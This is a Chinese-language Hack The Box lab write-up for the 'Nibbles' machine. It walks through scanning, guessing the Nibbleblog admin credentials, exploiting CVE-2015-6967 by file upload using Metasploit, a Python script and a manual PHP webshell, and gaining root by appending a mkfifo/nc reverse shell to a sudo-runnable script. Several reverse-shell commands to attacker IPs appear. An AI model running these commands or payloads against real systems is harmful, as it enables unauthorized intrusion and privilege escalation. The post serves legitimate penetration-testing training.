HTB靶场系列 linux靶机 Nibbles靶机

388 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

勘探

nmap扫描

nmap -sV -sC -oA nmap/initial 10.10.10.75

Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-08 19:10 EST
Nmap scan report for 10.10.10.75
Host is up (0.099s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.41 seconds

发现开启了22和80端口的ubuntu的系统

这次这台靶机依旧是web站加22的ssh的操作,

那么一边用dirsearch扫一下目录,一边打开看看是个什么

image-20211213102015972.png)

发现是一个刚建的站,惯例看看源代码

image-20211213102138711.png)

发现他自己在注释中暴漏了敏感目录

之前dirsearch的结果出来了,没什么有趣的

image-20211213105000863.png)

这下再用dirsearch扫一下他暴露的nibbleblog目录

image-20211213105143644.png)

readme文件爆出cms版本

====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01

获得nibble权限

使用msf模块

msf框架的搜索功能找一找这个博客有没有漏洞

image-20211213102603278.png)

果然有,那么use一下,我们看看使用条件

image-20211213102710318.png)

发现使用这个漏洞需要对应博客的账户密码和敏感目录,敏感目录有了,那么我们需要去尝试账号密码

这个靶机是不可以爆破的,爆破会触发一个web保护

Nibbleblog security error - Blacklist protection

上面这条保护规则在/nibbleblog/admin/boot/rules/4-blacklist.bit

if($_DB_USERS->blacklist())
    exit('Nibbleblog security error - Blacklist protection');

所以说我们就要去找文件中隐含的信息

我们发现content这个文件夹可以实现浏览目录,那么我们发现这里面有一个叫user.xml的文件

image-20211213122709687.png)

在配置文件中有一个邮件地址,我们猜测,会不会这个就是管理员账号密码,

经过尝试我们发现账号密码就是最常见的admin和靶机名nibbles

那么我们开始获取权限

image-20211213103458045.png)

配置成这样就可以输入exploit开始攻击了
image-20211213103804000.png)

攻击成功

轻松愉快

不使用msf模块

这个blog有一个漏洞CVE-2015-6967是一个rce漏洞

下面说说怎么利用

分为两块,

一块是类msf的使用python脚本的自动化攻击

一种是纯手动攻击

python脚本操作

脚本来源

exploits/nibbleBlog_fileUpload.py at master · TheRealHetfield/exploits · GitHub

拷贝到kali上后,我们需要自己编译一个payload

msfvenom -p php/reverse_perl --format raw -o nibble.txt LHOST=10.10.16.2 LPORT=4444

之后修改exp中的几个变量

nibbleUsername = "admin"
nibblePassword = "nibbles"

nibbleURL = "http://10.10.10.75/nibbleblog/"

之后用nc开始监听

nc -lvnp 4444

image-20211213105427732.png)

搞定,但是这个脚本不知道是不是我没配置好,好像大部分的命令都实现不了,不知道是不是我的问题

image-20211213105650344.png)

纯手动

首先登录到博客后台

image-20211213113041544.png)

然后点击插件(plugins)

image-20211213113909727.png)

再点击my image的configure

上传一段小马

image-20211213114640348.png)

进入

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=【command】

成功执行

image-20211213114500291.png)

接下来修改小马让服务器转发webshell到一个使用方便一点的操作台

比如说

image-20211213115307669.png)

**&1|nc 10.10.16.7 4444 >/tmp/f"); ?>

执行命令前记得打开nc监听本地端口

image-20211213123121813.png)

成了

拿root权限

惯例sudo-l查看越权进程

image-20211213105814722.png)

发现有一个sh脚本可以以root权限运行

那么打开一下看看

会发现打不开没有这个文件,你进入到/home/nibbler文件夹就会发现personal文件夹是个压缩包需要解压,来自前人的恶意

unzip personal.zip

解压后打开看看这个脚本

nibbler@Nibbles:/home/nibbler/personal/stuff$ head monitor.sh
                  ####################################################################################################
                  #                                        Tecmint_monitor.sh                                        #
                  # Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/      #
                  # If any bug, report us in the link below                                                          #
                  # Free to use/edit/distribute the code below by                                                    #
                  # giving proper credit to Tecmint.com and Author                                                   #
                  #                                                                                                  #
                  ####################################################################################################
#! /bin/bash
# unset any variable which system may be using

然后再看一看这个脚本的权限

nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 80 Jun 24 07:27 monitor.sh

得,事情忽然就简单了,一个777权限的脚本但有root的执行权限,那么我们直接让这个脚本转发一个shell来让我们获得一个root权限的shell

那么直接给monitor.sh文件注入一行命令

nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.154 8083 > /tmp/f" >> monitor.sh

注意改地址

注入之后先打开nc监听再执行sh脚本

sudo /home/nibbler/personal/stuff/monitor.sh

注意,执行的时候需要绝对路径,即与sudo -l中给与root权限的路径一致,不可以因为你在stuff路径而就打sudo monitor.sh

image-20211213111015678.png)

成功

感谢

0xdf

HTB: Nibbles | 0xdf hacks stuff

天线锅仔

【HTB】Nibbles(文件配置错误) - SegmentFault 思否